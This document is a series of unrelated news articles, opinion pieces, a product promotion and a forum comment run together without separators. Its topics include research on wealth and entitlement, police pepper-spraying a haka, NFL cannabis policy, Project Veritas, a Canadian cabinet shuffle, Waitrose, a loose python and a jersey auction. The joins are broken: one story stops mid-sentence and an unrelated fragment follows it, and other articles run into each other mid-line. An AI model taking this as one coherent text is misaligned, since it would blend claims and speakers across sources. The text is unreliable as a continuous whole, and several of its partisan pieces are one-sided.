The reason, it turns out, is that even thoughts of being wealthy can create a feeling of increased entitlement — you start to feel superior to everyone else and thus more deserving: something at the centre of narcissism. They found this was true of people who were, in real life, better off. Wealthier people were more likely to agree with statements like "I honestly feel I’m just more deserving than other people" and place themselves higher on a self-assessed "class ladder" that indicated increasing levels of income, education and job prestige. This had straightforward and clearly measurable effects on behaviour.
For example, when told that they would have their photograph taken, well-off people were more likely to rush to the mirror to check themselves out and adjust their appearance. Asked to draw symbols, like circles, to represent how they saw themselves and others, more affluent people drew much larger circles for themselves and smaller ones for the rest of humankind. If you think of yourself as larger than life, larger and more important than other people, it is hardly surprising that your behaviour would become oriented towards getting what you think you deserve.
As Piff says, this goes way beyond the individual, to noxious social attitudes – like being punitive towards the poor while living the "because I’m worth it" lifestyle. As a society becomes wealthier, it can get more narcissistic, less empathetic and unwilling to look after the vulnerable. A majority of Republicans in a recent poll said they thought the poor in America had it easy. Greater feelings of entitlement might also lead to a tax revolt by the upper classes. It is the logic of "I’ve earned it", "It’s mine", and, "Why should I have to use my hard-earned cash for those inferior scroungers, the poor?"
Wealth cultivates attitudes that are against redistribution and for privilege, Piff said:
The more severe inequality becomes, the more entitled people may feel and less likely to share resources they become. The wealthier [that] segments of society become then, the more vulnerable communities may be to selfish tendencies and the less charity the least among us can expect.
This is just what happened with Joe Hockey’s budget. According to John Hewson, the disposable income of lower income and single income groups were cut by 12-15%, while those on higher incomes only suffered a temporary cut of less than 1%.
It would be reasonable to object here, and point to famous and inspiring examples of philanthropy by wealthy individuals like Bill Gates. Yet Piff found such generosity from the wealthy was by no means the norm. In another arresting and counterintuitive finding, he discovered the richer the meaner — despite having more to give, wealthier people were less likely to be generous and give to charity.
Well-off people were less likely to help a person who entered the laboratory in distress, unless they had just watched a video about child poverty. In a series of controlled experiments, lower-income people and those who identified themselves as being on a relatively low social rung were consistently more generous with limited goods than upper-class participants were.
"There’s this idea that the more you have, the less entitled and more grateful you feel; and the less you have, the more you feel you deserve. That’s not what we find," Piff said. "This seems to be the opposite of noblesse oblige."
Outside the lab, Piff found that the rich donated a smaller percentage of their wealth than poorer people. In 2011, the wealthiest Americans, those with earnings in the top 20%, contributed 1.3% of their income to charity, while those in the bottom 20% donated 3.2% of their income. The trend to meanness was worst in plush suburbs where everyone had a high income, and never laid eyes on a poor person. Insulation from people in need, Piff concluded, dampened charitable impulses.
Poorer people were also more likely to give to those charities servicing the genuinely needy. The rich gave to high-status institutions such as already well-endowed art galleries, museums and universities, while Feeding America, which deals with the nation’s poorest, got nothing.
These qualities are not set in concrete. "We’re not suggesting rich people are bad at all," said Piff, "but rather that psychological effects of wealth have these natural effects.’ It is, he said, a function of greater prosperity, rather than innate qualities of rich people.
Piff found that when shown images of children in poverty, the wealthy could behave more empathetically. Like the long campaign for the NDIS, which sensitised people to the plight of those with a disability or those caring for them, people can respond to good political leadership which primes them for generosity rather than meanness.
However, as our society gets wealthier, we need to pay attention to his sober observation:
While having money doesn’t necessarily make anybody anything, the rich are way more likely to prioritise their own self-interests above the interests of other people. They are more likely to exhibit characteristics we would stereotypically associate with, say, assholes.
As inequality mounts and the policies entrenching it remain, as politicians are increasingly drawn from the top 10% or even 1%, we need to pay heed to this research.
The whole idea of "leaners" and "lifters" is the central teaching of the right wing ideologue, Ayn Rand, who penned books like The Virtue of Selfishness. It’s a self-serving crock. Rand found out the hard way. After a lifetime proselytising on behalf of the "producers" and denouncing anyone needing government assistance as "parasites," when Rand became old and sick, she discovered that even a bestselling author could not afford health care in the neoliberal US. She availed herself of Medicare and ended her life on what she had despised – social security. Maybe Joe Hockey will learn in old age that leaning comes to all of us.
This is an edited extract from Anne Manne's new book, The Life of I: the new culture of narcissism, published by Melbourne University Press.The state's chapter of the American Civil Liberties Union is calling for an independent investigation after police used pepper spray and batons on a group of spectators performing a haka after a high school football game in a small Utah town.
Officers used pepper spray on about a dozen family members, including at least one as young as 4, after the October game in Roosevelt. The group had traveled about 125 miles east of Salt Lake City to watch a relative play his final game for Union High School.
Union lost the game to rival Uintah and finished the season without a victory. Afterward, a group of Polynesian men and boys performed the haka to boost the player's spirits. The haka originated from New Zealand's native Maori culture and has been popularized by rugby players there who chant, beat their chests and gesture aggressively before matches. It is performed at football and rugby games around the world.
Two officers interrupted the dance, using pepper spray and a baton to disperse the group.
An internal investigation by Roosevelt police cleared the officers of any wrongdoing and said their actions were appropriate because they feared a riot was imminent.
"To our disappointment, the police department's findings appear to be anything but objective," the ACLU's Interim Director Joseph Cohn wrote in a letter sent Monday to Duchesne County Attorney Stephen Foote.
The ACLU is concerned that the decision to deploy pepper spray during a cultural ritual may have violated the dancers' constitutional rights, Cohn writes.
He also notes that the police department's report fails to consider a video of the dancers or statements from 15 witnesses who said they did not feel threatened by the dance.
Foote was away from the office and could not be reached for comment. Roosevelt Police Chief Rick Harrison did not return a message.
The officers' reports about the Oct. 20 incident in Roosevelt, a town of about 8,000 residents, said some of the dancers had been yelling obscenities at referees during the game, then danced in front of the only exit from the stadium.
Officer Luke Stradinger apologized in his report for causing "discomfort" to innocent bystanders, but said he wasn't familiar with the dance and was concerned because the group was blocking the only exit from the field for the football teams.
"I have never seen such an event, or even heard of such a thing |
ched green energy scheme.
The party said it would not share power with Mrs Foster as first minister until the conclusion of a public inquiry into the Renewable Heat Incentive (RHI) scheme.
Mr McGuinness, who had been suffering from a rare heart condition, died last week at the age of 66.*Prices as marked at jcrewfactory.com reflect discount. Offer valid on purchases made at jcrewfactory.com on February 26, 2019, 12:01am ET through 11:59pm ET. Not valid in stores, at jcrew.com or on phone orders. Offer cannot be applied to previous purchases or the purchase of gift cards and cannot be redeemed for cash or combined with any other offer. Offer not valid on Garments for Good styles; The Score styles; men's suiting and select knits; women's cashmere and select sweaters, pajamas, dresses, knits, suiting, shoes and bags; kids' Under $20 and Under $30 Shop items, sleep styles, swim styles and third-party branded toys. Valid in the U.S. and Canada only. Terms are subject to change. †Prices as marked reflect discount. Offer valid on the purchase of women's Teddie sweaters and open-neck T-shirts and men's washed shirts and chinos made at jcrewfactory.com from February 26, 2019, 12:01am ET through 11:59pm ET. Not valid in stores, at jcrew.com or on phone orders. Offer cannot be applied to previous purchases or the purchase of gift cards and cannot be redeemed for cash or combined with any other offer. Valid in the U.S. only. Terms are subject to change.
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Monroe announced his advocacy in an essay for the Players’ Tribune. He led with an arresting image of “the T Train,” the euphemism used by many NFL players to describe a routine of standing in line before games to drop their pants to receive a shot in the ass of Toradol, a powerful anti-inflammatory painkiller that allows them to get through their workday.
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Monroe has candidly called on the NFL and the NFLPA to remove marijuana from its list of banned substances; to fund medical marijuana research, especially with regard to brain trauma; and to stop passing out addictive opioids for pain relief. In his debut column this week for The Cannabist, Monroe acknowledged that he wakes up “each day with pains from head to toe,” but that “a few drops of THC-A tincture” helps him control his pain without the side effects of painkillers. Monroe has also donated $80,000 to fund medical cannabis research.
I spoke to Monroe by phone on Wednesday. What follows is a transcript of that conversation, edited and condensed for clarity.
In your first Players’ Tribune piece, you mentioned your history of using anti-inflammatory drugs to combat pain. How far back did all of that go?
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“It’s something that I’ve dealt with my entire career, and I believe it goes back to my days in college. After my first season, I had a knee surgery during spring ball, my first padded practice, I got injured. From that point, I was pretty much on a steady dose of anti-inflammatory drugs, really up until I decided not to play any longer. From that injury, I carried a lot of swelling on my knee, and that shuts down some function, so it was making it difficult to perform, so I was taking anti-inflammatory drugs to reduce some of that swelling, so I could actually perform. And Toradol was part of that program. I’ve been administered Toradol on game day even in college, so it’s certainly not just an NFL issue. Toradol is prevalent in the NCAA as well.”
And once it wears off?
“It’s very interesting. It operates differently. Sometimes you can take it, and you won’t feel a thing for two days, and then the next day comes around, and you feel like you’ve been hit by a car—and you really have, because you played a football game. You’ve experienced that force multiple times. Toradol helps mask some of that pain; it’s an anti-inflammatory drug, but it also is a pain suppressor as well.”
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Was there a singular moment when you began to question why this easy access to addictive pain meds was such an accepted practice for football teams?
“Well, when I was recovering from my last shoulder surgery in December, I started to consider all of the things that I needed to do to get healthy and get back on the field. I started to really understand just how bad things have been done prior, and I started to think that there has to be a healthier way to get through this.”
So was that the time your interest in medical marijuana picked up, or was that something you had been exploring before?
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“I think at that point I started to really look for things that showed how cannabis is being used to manage pain for people. And it also came at a time where the information about how deadly the opioid crisis had become. It sort of just came at the same time. I was recovering from injury and looking for ways to get healthy. I was researching the benefits of medical marijuana, and also seeing that marijuana, in some cases, was being provided as a solution to the opioid problem. Through that, I also learned that patients who are on opioids to deal with pain were prescribed cannabis, and in some cases no longer needed the opioid drugs to manage their pain.”
Did you use medical marijuana as a player?
“No, I wasn’t using medical marijuana while I played. The league bans medical marijuana and punishes players for testing positive for it, so that’s not something I did while I played.”
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A number of stories have been written about former players who use cannabinoids to deal with pain. And Bleacher Report’s Mike Freeman did the most extensive evaluation of marijuana usage—whether for medicinal or even recreational purposes—among current players. From experience, do you have a sense of how many NFL players use marijuana for one reason or another?
“I can’t be certain; I’d be guessing if I gave a number or a percentage of people in the NFL who consume cannabis. But people do. It’s certainly a widely known fact. But it’s not just people in NFL locker rooms. People across society use cannabis from all walks of life, so I don’t think using it in the NFL, or any other sport, is any different.”
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The league doesn’t test for recreational drugs during the season, unless a player has failed a test or been arrested on a drug charge. That means many players are free to smoke marijuana during the season. Antonio Cromartie once said—and later backtracked a bit—that a lot of players are going to smoke marijuana regardless of the NFL’s policy. In your experience, are a lot of NFL players using marijuana?
“People talked about using cannabis in the locker room; people talked about it a lot. In particular, more recently, as medical marijuana became more prevalent and the information expands, people talk about the potential for athletes using it, and also there are some guys who did go ahead and use it while they were playing. Former players have come out and talked about cannabis being the only reason that they were able to push through the pain. A lot of them had an adverse experience taking pharmaceutical drugs like opioids and other painkillers and anti-inflammatories that they became addicted to. And certainly, we see those guys now doing similar things to what I’m doing, standing up and promoting research to find out exactly why cannabis is creating so many benefits for people.”
It seems weird, doesn’t it? On one hand, you’ve got current and former players who can personally attest to the medical benefits of this—and also the casual use of marijuana to relax, which isn’t much different than settling down to have a drink, and which may be safer—and at the same time, you’ve got this stigma around marijuana, at least given how NFL handles its use.
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“It’s not weird. I think I understand that there’s a stigma associated with cannabis. But I think that stigma is loosened and removed as people become educated that cannabis really has medical value. It has real applications, and I believe that application can also be included in sports.”
I’m interested in what you thought about Laremy Tunsil’s situation on draft night. Here’s a guy who was really the victim of someone’s cruel revenge, but who tumbled down the draft board because of the NFL’s general attitude toward marijuana.
“I think that situation is unfortunate. I think it also shows that we need to handle our policies differently. Certainly, it’s upsetting to see how our policies, and how ideology on cannabis—who knows what effect it really played on Laremy? Certainly, the perception is that it had a big role. It’s just unfortunate. But what I do know is that the NFL policies do need to change and be more progressive. And also the NFL needs to take a look at using medical cannabis to solve some of its problems.”
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You mentioned during a recent Slate podcast that the union’s been receptive to your suggestions. Could you elaborate on that? How receptive has the union been?
“They’re receptive. And I’ve reached out to different members of the NFLPA and talked to them about my concerns for how we prescribe opioids and manage pain, and the possibility of using cannabis as an alternative. And they’re receptive to the idea, but particularly [in] looking at the research, and any data that can be provided to prove that this is a viable option, and also a safe option for athletes.”
Did you reach out to other player reps from other teams, or others within the union hierarchy?
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“I was referring to [Nyaka NiiLampti], the director of wellness that the NFLPA just appointed. And also, DeMaurice Smith, the head of the NFLPA, among a few other members.”
And DeMaurice was receptive?
“He’s interested in finding solutions to the problems we have. I think anyone who looks at a pain management program that’s based on prescribing opioids would recognize that it’s an issue at this point.”
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Do you think as time goes on there will be a groundswell among players, that they will support this, and actively work to change the NFL’s policy?
“I can’t say whether players will come out in any number, although there has been another player who’s still active, [Titans linebacker] Derrick Morgan, who spoke about the need for the league to research cannabis and look at changing the policies that we have. I know there’s other athletes, too, who might not say anything at this point. But beyond athletes, there are policy-makers, and law enforcement officials, and physicians who also believe that the NFL’s policy should change.”
What do you think is the biggest hurdle to getting marijuana removed from the league’s list of banned substances, and even getting cannabis to be used as an accepted pain remedy?
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“I don’t know what the specific hurdles are. I do know that there are problems to be addressed. And I intend to work people to find a sensible solution.”
You declared yourself an advocate for cannabis in May, when you were still on the Ravens’ roster. Did the Ravens ever say anything to you about that?
“No, I didn’t have any communication with the Ravens at all about my cannabis advocacy. No one from the organization reached out to talk to me.”
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Do you think your release from the Ravens had anything to do with your advocacy? John Harbaugh has publicly denied this, but what do you really think?
“I don’t know. I don’t know if the Ravens decided to release me because I’m fighting for better health in the future. I don’t know.”
Do you wonder a little bit, though?
“No, I don’t. I think it’s insignificant. I’ll continue to fight for players who need healthier options. I was a player at one point, and if I were still playing, I’d be going through the season, going through training camp, and likely being prescribed different pharmaceutical drugs for injury, and also for some of the chronic things that I deal with that have accumulated over my career.”
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Ex-Deadspinner Dom Cosentino is a reporter and writer. He’s on Twitter @domcosentino.The political consulting firm Democracy Partners is at the center of the Project Veritas investigation exposing Democrat operatives instigating violence at Trump rallies and plotting potential voter fraud.
Robert Creamer is the founder of Democracy Partners and a frequent visitor to the Obama White House. Logs show Creamer making 340 visits to the White House, with 45 of those meetings including President Obama.
As reported by Breitbart News, Creamer issued a statement after the first two videos that he was “stepping back” from his “responsibilities working with the campaign.” Interim DNC Chairman Donna Brazile tried to put distance between the DNC and Democracy Partners in a statement by saying, “the practices described in the video by this temporary regional sub-contractor do not in any way comport with our long standing policies on organizing events.”
Besides his regular visits to the White House, Creamer’s own statements contradict Brazile’s claim that Democracy Partners was just a bit player in the Clinton campaign and the DNC. Breitbart News detailed the connection between Creamer and the campaign in an article about the original video released exclusively by Breitbart this Monday:
In one hidden camera video, filmed at Creamer’s Washington, D.C. office, Creamer explains that Hillary Clinton is aware of “all” of his activities, directly or indirectly, and that Democracy Partners has a daily conference call with the Clinton campaign, as well as frequent calls with the White House.
Creamer’s meetings at the White House include two meetings with President Obama in March 2011 and June 2013 where the total number of people is listed as just two. Presumably, just Creamer and Obama.
Another character in the investigative videos is Scott Foval who was removed from his job at Americans United for Change as a result of the Project Veritas investigation. In the second O’Keefe video, Foval paints a dark picture of Creamer saying, “Bob Creamer is diabolical and I love him for it.” While discussing the potential voter fraud plot, Foval credits Creamer for “coming up with most of these ideas,” and describes Democracy Partners as a “dark hat.”
In a statement on their Facebook page Democracy Partners claims it is the victim of a “well-funded, systematic spy operation that is the modern day equivalent of the Watergate burglars.”
Creamer boasts having “more than four decades” as a political organizer and strategist on his Democracy Partners page. His bio also details a long history working with the DNC at the presidential campaign level stating:
During the 2008 and 2012 Presidential Elections he worked with the Democratic National Committee as a consultant to the Obama Presidential Campaign coordinating field based rapid response to Republican Presidential candidates. During his career, Creamer has worked on hundreds of electoral campaigns at the local, state and national level.
Besides trying to downplay the role of Creamer, the DNC is using an attack-the-messenger strategy by attacking O’Keefe to deflect from the content of the videos. Brazile called O’Keefe a “convicted criminal with a history of doctoring video to advance his ideological agenda.”
In a statement on their Facebook page Democracy Partners claims it is the victim of a “well-funded, systematic spy operation that is the modern day equivalent of the Watergate burglars.”
O’Keefe tweeted out this video announcing the resignation of Creamer:
BREAKING News: Bob Creamer, top @HillaryClinton campaign advisor, "STEPS DOWN" after today's video. Here is part of his statement.. pic.twitter.com/oH4VEVQS5c — James O'Keefe (@JamesOKeefeIII) October 18, 2016
Dustin Stockton and Chris Tomlinson also contributed to this article.As a child born in mid-1990, I am loving all of this!
Some of these items are a definite must-have, purely for nostalgia's sake. I've been staring at the Shoebox of Treasured Memories for a good ten minutes now, trying to pick out all the references. So far I've found Pound Puppies, Furby, Beanie Babies, Pokemon, Star Wars (the tri-force), Slinkies, the Troll doll, the My Little Pony, the rollerskate (or is that one of those skateshoes? I had a pair growing up XD), dear Pluto as a planet again, the VHS, the Gameboy, Jurassic Park, the boombox, Ghostbusters... I almost missed the Nostalgic Illumis.
Is that a Gigapet I spy on the car mat floor (I had both as a kid!)? And am I mistaken, or is that a LaLa Telletubby in the open cabinet? So many great references!
The only one I don't get is the Chuckle Me Charlie.
0Prime Minister Stephen Harper's first majority cabinet includes nine new members, three of whom are new to Parliament, but mostly the shuffle announced Wednesday keeps heavyweight ministers in their old jobs.
Harper said he had to make some significant changes because of the vacancies caused by two retirements and four election losses, but that his new cabinet is "fundamentally about stability and continuity."
Speaking to reporters shortly after the cabinet was sworn in at Rideau Hall in Ottawa, Harper said the roster of talent he had to choose from was deeper than ever before.
"There are promising new MPs and many veterans deserving of promotions," the prime minister said. "I believe this ministry represents the right mix of experience and new blood at this time."
Harper said his government's top priority is the economy and that he's assembled a team that will move Canada toward even greater prosperity. They are ready to "hit the ground running," he said.
The prime minister said he wanted to make as few changes as possible to the cabinet and that MPs who didn't make the cut this time will still have opportunities to serve in other roles and gain more political experience, he said.
"We'll have great bench strength for the future development of our government," Harper said.
New roles for some key players
The prime minister tapped John Baird as the new foreign affairs minister to fill the vacancy left by Lawrence Cannon, who was defeated in the May 2 election.
Baird is a trusted member of Harper's cabinet and has filled various roles within it since he was first appointed in 2006, including environment minister, transport minister, president of the treasury board, and most recently, House leader. He was not rumoured to be in the running for foreign affairs minister, so his new posting comes as a surprise.
"I think I have a strong and varied skill set. I fight hard for what I believe in," Baird said following the ceremony, presided over by Gov. Gen. David Johnston. "I will be fighting hard for things like freedom, things like democracy, things like human rights and the rule of law.
Asked about the five Libyan diplomats being expelled from Canada, he said he's only been on the job for little more than an hour and has yet to be briefed on the matter.
The other significant change is Tony Clement moving to Treasury Board, where he will preside over cuts to the civil service, which the government has said can be made mostly through attrition.
Peter Van Loan is reprising his old role as leader of the government in the House of Commons, taking over from Baird. And Innu leader-turned-MP Peter Penashue is becoming minister of intergovernmental affairs.
The rookie MP adds representation to the cabinet from Newfoundland and Labrador. The other rookie MPs joining him at the cabinet table are Bal Gosal as minister of state for sport, and Joe Oliver, who takes over as natural resources minister.
Dénis Lebel, previously the minister of state for the economic development for Quebec, got a promotion and is the new transport minister. Conservative backbencher Ed Fast also moves into cabinet for the first time, taking over International Trade. Tim Uppal is another new face to the cabinet, as the minister of state for democratic reform.
Other highlights:
Peter MacKay stays as minister of defence.
Rob Nicholson remains justice minister.
Vic Toews will remain public safety minister.
Rona Ambrose stays in charge of Public Works and Government Services, as well as Status of Women.
Embattled minister Bev Oda stays at the Canadian International Development Agency.
Jim Flaherty will remain finance minister.
Jason Kenney will continue to lead Citizenship and Immigration.
James Moore will stay at Canadian Heritage.
Leona Aglukkaq will remain minister of health.
Peter Kent stays minister of environment.
Lisa Raitt stays minister of labour.
Gerry Ritz remains with Agriculture
Gail Shea moves to National Revenue from Fisheries and Oceans
Keith Ashfield takes over Fisheries from his previous role as national revenue minister.
Maxime Bernier returns to cabinet as minister of state for small business.
New faces in cabinet The prime minister has brought new blood to cabinet by appointing former backbenchers and rookie MPs. Some of the new faces: Steven Blaney (Lévis-Bellechasse), Minister of Veterans Affairs Bal Gosal (Bramalea-Gore-Malton), Minister of State for Sport Joe Oliver (Eglinton-Lawrence), Minister of Natural Resources Peter Penashue (Labrador), Minister of Intergovernmental Affairs Tim Uppal (Edmonton-Sherwood Park), Minister of State for Democratic Reform Alice Wong (Richmond), Minister of State for Seniors View an interactive graphic on the new cabinet or view the full cabinet list.
There was speculation that Kenney would move to Foreign Affairs and while he is staying at Immigration, he does have some added responsibilities. Harper has made him chair of the cabinet committee on operations, the second-most important cabinet committee after the priorities and planning committee, chaired by the prime minister.
The operations committee co-ordinates the government's overall agenda, management and communications. It was previously led by Jim Prentice, who quit politics last fall. Baird had been filling in since then.
Julian Fantino has a new job in the cabinet, as associate minister of national defence. He will be assigned the defence procurement file from within the minister's portfolio. That will include Canada's controversial F-35 fighter jet purchase.
"Associate Minister Fantino will assist Minister MacKay in delivering platforms for the men and women in uniform who need them — in a manner that benefits Canadian industry and at the best cost for Canadian taxpayers," said Jay Paxton, a spokesman for Defence Minister Peter MacKay.
"I'm proud and honoured to be serving on the team," Fantino said as he left Rideau Hall. He said he was on his way to be briefed on what exactly his new role entails.
Flaherty emerged from Rideau Hall with his family and told reporters he would be introducing virtually the same budget as he did in March, but would not confirm what new additions it might include. It will be delivered in June but he gave no clues as to when.
Parliament is beginning its new session on June 2. The finance minister said he is happy to have more ministers joining him from the GTA.
The new cabinet also brings a new name for the department formerly known as Indian Affairs and Northern Development. It will now be called Aboriginal Affairs, a move to be more inclusive, according to government officials. "Indian" tends to refer to status Indians, as opposed to non-status Indians, while "Aboriginal" refers to First Nations, Métis and Inuit people.
But not everyone is happy with that change. Ron Evans, grand chief of the Assembly of Manitoba Chiefs, says the province's executive Council of Chiefs will be discussing the change.
"The government may state that this change does not affect its legal relationship with First Nations that is affirmed through treaties and the Constitution, but it looks like a symbolic movement away from our distinct cultures and people," he said in a statement.
Election created vacancies
Including the prime minister, the new cabinet is made up of 39 members, one more than the previous one.
Harper had six vacancies to fill because of two retirements — Chuck Strahl and Stockwell Day did not run for re-election — and four election defeats.
Josée Verner, Jean-Pierre Blackburn, Gary Lunn and Cannon all lost their seats. Harper's office announced shortly after the cabinet shuffle that Verner is getting a Senate appointment, along with Larry Smith and Fabian Manning, who had resigned their Senate seats to run unsuccessfully for the House of Commons.
Harper had only five MPs to choose from in Quebec and two of them were already in cabinet — Lebel and Paradis — which may have had something to do with the decision to bring Maxime Bernier back into the inner circle to help boost Quebec's representation. The former foreign affairs minister resigned in 2008 after leaving confidential documents at his girlfriend's residence.
While pickings were slim in Quebec, there was no shortage of cabinet candidates from Alberta and Ontario.
Rookie MPs Joe Oliver and Bal Gosal are among those new cabinet members from the Toronto area. Oliver defeated long-time Liberal MP Joe Volpe in the central Toronto riding of Eglinton-Lawrence, helping the Conservatives crack into the Liberal stronghold in Canada's biggest city. His inclusion in cabinet means Toronto will finally be represented in Harper's cabinet, along with Gosal who represents Bramalea-Gore-Malton.
P.O.V. What do you think of the new cabinet? Take our survey.
In addition to geographic representation, Harper also had to be attuned to how many women he included in his cabinet. The new cabinet, like the previous one has 10 women, including Senator Marjory LeBreton, who is leader of the government in the Senate.
CHAT RECAP: Cabinet shuffle ticker
CBC journalists shared their views on the cabinet shuffle and took your questions and comments. Read the archive of the chat.Waitrose is facing a middle class revolt from shoppers who claim that its free coffee and tea are attracting the wrong type of customers.
The high-end supermarket currently offers a free cup of coffee or tea for customers holding a myWaitrose loyalty card - even if they don't make a purchase.
Angry shoppers used Facebook and Twitter to vent their frustration, arguing that handing out free drinks is turning Waitrose into a soup kitchen and the stores are packed with less affluent customers, which is putting some customers off.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
One Facebook user wrote on the supermarket's page: "Please stop the free coffee at Barry Waitrose, it is putting me off shopping in the store people are coming with two cards two free coffee no shopping, with their Tesco bags.
"I think seeing people walking round the store holding on to takeaway cups of tea and coffee looks quite ridiculous and brings down the image of Waitrose until it is just like everywhere else – in which case I might as well shop anywhere else."
Another angry shopper said: "Bit disconcerting seeing people carrying cups of hot coffee around Waitrose whilst they text and push trolleys with their bellies."
Shoppers holding a myWaitrose loyalty card can choose from a selection of hot drinks including tea, lattes, mochas, Americanos and cappuccinos.
Mark Price, head of Waitrose, defended the scheme insisting that customers prefer immediate rewards, such as grabbing a free cup of coffee on their way to work, to collecting points.
According to the supermarket, "nothing says welcome more than a lovely cup of coffee or tea". But it seems that some customers disagree.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe now"What we're coming together to do is really build creative collaborations among indigenous peoples in order to see what our best practices for student centered learning are. Where are our students at? How are they engaging with material? How are they engaging culture? How are they engaging education?" said Sala, who says it's critical to target youth. "Main thing is to create a pipeline so that you're not waiting for graduate education, you're starting really young. Part of this conference is to say children have an amazing role to play. They have an amazing capacity for education. They have an amazing capacity to understand the world around them. Part of WIPC:E is to remind us of those things and really get to the heart of those things so that we can capitalize on that moment in a child's life."A snake was seen by hikers in the Plotter Kill preserve in Rotterdam on Monday. (Photo provided by Dylan Hall) A snake was seen by hikers in the Plotter Kill preserve in Rotterdam on Monday. (Photo provided by Dylan Hall) Photo: Dylan Hall Photo: Dylan Hall Image 1 of / 1 Caption Close Python spotted in Plotter Kill preserve 1 / 1 Back to Gallery
Rotterdam
A Schenectady couple enjoying a Memorial Day hike with their two young children at the Plotter Kill preserve in Rotterdam stumbled upon what animal and wildlife experts identified as a ball python snake.
"Often what we find is that people will release pet snakes into the wild when they get too big to keep at home," said Lisa King, a spokeswoman for the state Department of Environmental Conservation, where wildlife experts determined the animal is an exotic ball python that is not native to the area.
The Times Union obtained two photos Dylan Hall took of the speckled reptile that he told his neighbor his son nearly stepped on. The newspaper forwarded the photos on Tuesday to the DEC, a pet store and snake specialists, all of whom independently confirmed that it appeared to be a ball python.
Alvin Breisch, a retired DEC amphibian and reptile specialist, estimated that the snake is between 30 and 40 inches long. "People get these things and they get bigger and bigger, and oftentimes they say 'Let's put it in a nature preserve,'" said Breisch. They can survive several weeks without eating or ground nesting for birds. "They wouldn't be able to hibernate like our native species do," he said. The ball pythons are constrictors, which means they wrap themselves around their prey, suffocate it and eat it whole, Breisch said.
Allie Eastman, who works at Benson's Pet Center in Albany, identified the animal as a ball python snake because of the pattern of the markings on its body.
Eastman, who once had a pet ball python, said they make good "beginner pets" because they are inexpensive and docile. She said ball pythons get their names because they coil into a ball when they get scared. She noted that the snake, indigenous to Africa, may survive the summer if it catches enough to eat, but cannot survive Capital Region winters.
"When they let them go, they're killing them," she said.
Ball pythons are relatively small and native to Togo, Benin and Ghana in west and central Africa, according to information online. Rotterdam Deputy Police Chief Bill Manikas said Tuesday that his department had not received any complaints about the loose snake.
King said wild animals in New York, including poisonous snakes, do not approach humans unless they are cornered.
pnelson@timesunion.com • 518-454-5347 • @apaulnelson“A cardinal rule of the Obama administration was that no White House official ever interfered with any independent investigation led by the Department of Justice,” Obama’s spokesman Kevin Lewis said in an official response—both an outright denial of the accusation that Obama ordered the FBI to wiretap anyone, and an implicit rebuke of the Trump White House’s breezy efforts to compromise FBI inquiries. FBI Director James Comey is reportedly pressuring the Justice Department leadership to correct the record.
Trump, meanwhile, is said to be in the throes of disconsolate rage. It is significant that Trump is determined to squelch or undermine investigations into his campaign’s conduct, and that his surrogates are routinely caught lying about their conduct, while those on the receiving end of his deranged rants stand in the way of nothing, seeking only to have their names cleared. And the upshot may be that Trump’s strange, diversionary behavior will backfire, and leave his supplicants to answer for why they enabled it.
It is alarming for Trump to seek an investigation of the Obama administration on the basis of right-wing agitprop and raw impulse. Under slightly different circumstances, it is easy to imagine Trump and his Republican supplicants ruining the lives of innocent people with this kind of behavior, corroding the rule of law in the process. But in this specific case, what he’s actually asking for is an expansion of the various investigations into Russian campaign meddling and the Trump campaign’s connections to it. Democrats should happily oblige.
As Nunes noted in his statement, his interest in Trump’s allegations stems from the fact that “one of the focus points of the House Intelligence Committee’s investigation is the U.S. government’s response to actions taken by Russian intelligence agents during the presidential campaign.” In other words, to the extent that House investigators are taking orders from Trump, they will be digging further into the question of whether the Trump campaign and the Russian government conspired against Clinton. In light of the strenuousness of Obama’s denial, and Comey’s extraordinary interest in clearing the FBI’s name publicly, it is likely that Nunes’ inquiry will either reveal serious probable cause for investigating Trump or that Trump’s accusations don’t have even tenuous connection to reality.
By staking out this ground, Trump has activated a partisan response from Republicans who were trying to protect Trump from scrutiny. That’s why Republicans can’t safely count on the vicissitudes of the news cycle to protect them from the political consequences of this Trump outrage, as they have in the past. One Republican lawmaker speaking to BuzzFeed described Trump’s tweets as “a big deal that will be forgotten in two weeks if it’s not true.” I’m not sure that’s so.The Federal Bureau of Investigation says it has broken up an East Bay drug ring after raiding a half dozen locations and making several arrests Tuesday morning. They arrested 47 year-old Jorge Herrera.
FBI agents say the drug activity happening inside a Pittsburg home was part of a dangerous drug cartel. Authorities found cocaine inside the house which is located next door to a home full of children, and on the same block as a junior high school and a daycare center.
"I feel totally relieved, but totally upset. Unacceptable that people would use our neighborhood to do things like that," said daycare center owner Yolanda Braggs.
Braggs said some of her customers decided not to drop off their kids today when they saw the drug raid going on down the street.
"We take our kids for walks. You never know. The school is right there. My grandkids walk to school; it's not nice that this would happen," she said.
Agents started began the raid at 6 a.m. and served warrants at six locations in four cities, including: Oakley, Concord and Antioch. They made four arrests, seizing methamphetamine and cocaine. The agents are working without a paycheck due to the government shutdown, but decided these raids couldn't wait.
"Yeah, we thought that the threat was there. The threat being, in this case, the distribution of drugs, so we needed to stop this individual and organized crime ring here in the East Bay immediately. And that's why we chose to do it today," said FBI spokesperson Peter Lee.
Residents say they never saw suspicious activity around the Pittsburg home and didn't know the man who was arrested here.WRIGLEYVILLE — From his first day on earth, Randy "Boomer" Berman was a Chicago Cubs fan.
His uncle Jeff gave him a game-used Cubs jersey on Dec. 14, 1978, the day Berman was born. As the young boy grew up, the jersey hung on his wall, first over his crib and eventually in college dwellings.
Left: A 3-year-old Randy "Boomer" Berman poses with his father, Dave, and Chicago Cub' Ernie Banks, along with the jersey Randy received from his uncle. Right: The front of the game-worn, 1968 Cubs home jersey. [Provided/SCP Auctions, Inc.]
Berman, who lives in Rogers Park, always treasured the jersey worn by his favorite player as a beloved part of his childhood, but "I treated it just like a jersey — throwing it in the back of my truck when I moved," he said.
That is until Berman took it to "A Piece of the Game," a PBS sports memorabilia version of "Antiques Roadshow."
Since the No. 14 home jersey belonged to Ernie Banks, it was "an unbelievable find," memorabilia expert Rob Steinmetz said on the show.
"Perfect in every regard," Steinmetz valued it between $100,000-$150,000.
The uniform on Sunday sold for $137,865, according to SCP Auctions.
After months of contemplation, Berman, 36, put the jersey up for auction this summer. With bidding ending Saturday, the jersey was going for $104,443 after 13 bids. SCP Auctions Inc. lauded the jersey as a "breathtaking," "especially coveted gamer."
